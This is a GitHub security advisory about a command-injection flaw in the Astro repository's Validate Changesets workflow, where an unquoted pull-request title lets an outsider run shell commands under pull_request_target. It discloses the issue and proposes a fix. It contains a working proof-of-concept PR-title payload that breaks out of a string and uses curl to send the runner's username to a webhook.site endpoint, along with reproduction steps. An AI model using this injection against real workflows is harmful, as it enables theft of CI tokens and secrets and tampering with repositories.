Skip to content

Validate Changesets workflow vulnerable to arbitrary code execution

High
delucis published GHSA-j47w-4mr3-8gq6 Oct 28, 2025

Package

.github/workflows/validate-changesets.yml (Github Workflows)

Affected versions

8f4562b-aff78e3

Patched versions

99f4ebc

Description

Summary

A vulnerability exists in the Validate Changesets workflow in the https://github.com/withastro/astro repo which runs on the privileged pull_request_target event. The Pull Request title (github.event.pull_request.title) is used directly and unquoted in a shell command (run: block) to construct a string variable. This allows any external contributor to use shell metacharacters to break out of the variable assignment and execute arbitrary shell commands with the job's elevated GITHUB_TOKEN and permissions.

Note: to preserve confidentiality, this was tested with a minimal reproduction in a private repository.

Details

The vulnerability resides within the Collect and validate changesets step of the validate-changesets job. The script constructs the $prompt variable by embedding the unescaped context variable ${{ github.event.pull_request.title }} inside a double-quoted string assignment.

Vulnerable Code Snippet (Line constructing $prompt):

# ...
          # Create the full prompt with PR context and changesets
          prompt="${prompt_template}

          <pr_context>
          PR Title: ${{ github.event.pull_request.title }} <-- VULNERABLE LINE
          </pr_context>

          $changesets"

The issue occurs because the shell expands the context variable before the script executes, allowing an attacker-controlled string containing metacharacters (like ";, ;, and |) to break the shell's flow and inject a new command.

PoC (Proof of Concept)

The following payload, when used as the Pull Request Title, successfully broke out of the variable assignment and executed a curl command to exfiltrate data to an external, non-sensitive endpoint (webhook.site), confirming the command execution.

Payload Used as the PR Title:

testing"; curl -X POST -d "pwned_user=$(whoami)" https://webhook.site/b59b8b25-9dba-4e99-93df-2d5528704aa0; echo "

Steps to Reproduce:

  1. Fork the repository containing the vulnerable workflow.
  2. Create a new branch in the fork.
  3. Open a Pull Request from the fork to the base branch (main/master).
  4. Set the PR Title to the payload above.
  5. Wait for the Validate Changesets workflow to run.
  6. The webhook.site URL will receive a POST request confirming the command execution (pwned_user=runner).

(note: you should generate a distinct URL by visiting webhook.site, and use that in the title)

Impact

This vulnerability allows Arbitrary Code Execution in the runner environment.

  • Access Level: The workflow runs using the pull_request_target trigger, meaning the job has access to the elevated default GITHUB_TOKEN on the target repository, as well as .

  • Consequences: An attacker could:

    • Exfiltrate the GITHUB_TOKEN and other secrets.
    • Potentially push malicious code or commits to the repository.
    • Abuse the explicit pull-request: write and models: read permissions

Mitigation (Suggested Fix)

The fix is to ensure all user-controlled context variables are quoted when used within shell commands. It is recommended to assign the variable to a shell environment variable first to simplify quoting.

The vulnerable line should be replaced with a secure method, for example:

        env:
          PR_TITLE: ${{ github.event.pull_request.title }} # Safely transferred as an ENV variable
        run: |
          # ... later in the script
          # Use printf with "$PR_TITLE" to ensure correct quoting and escaping
          safe_pr_title=$(printf "%s" "$PR_TITLE") 

          # Create the full prompt (now safe)
          prompt="${prompt_template}

          <pr_context>
          PR Title: $safe_pr_title
          </pr_context>
          $changesets"

As noted in the PR implementing this change, pull_request_target is inherently dangerous and hard to secure. Consider whether the utility is worth the risk.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits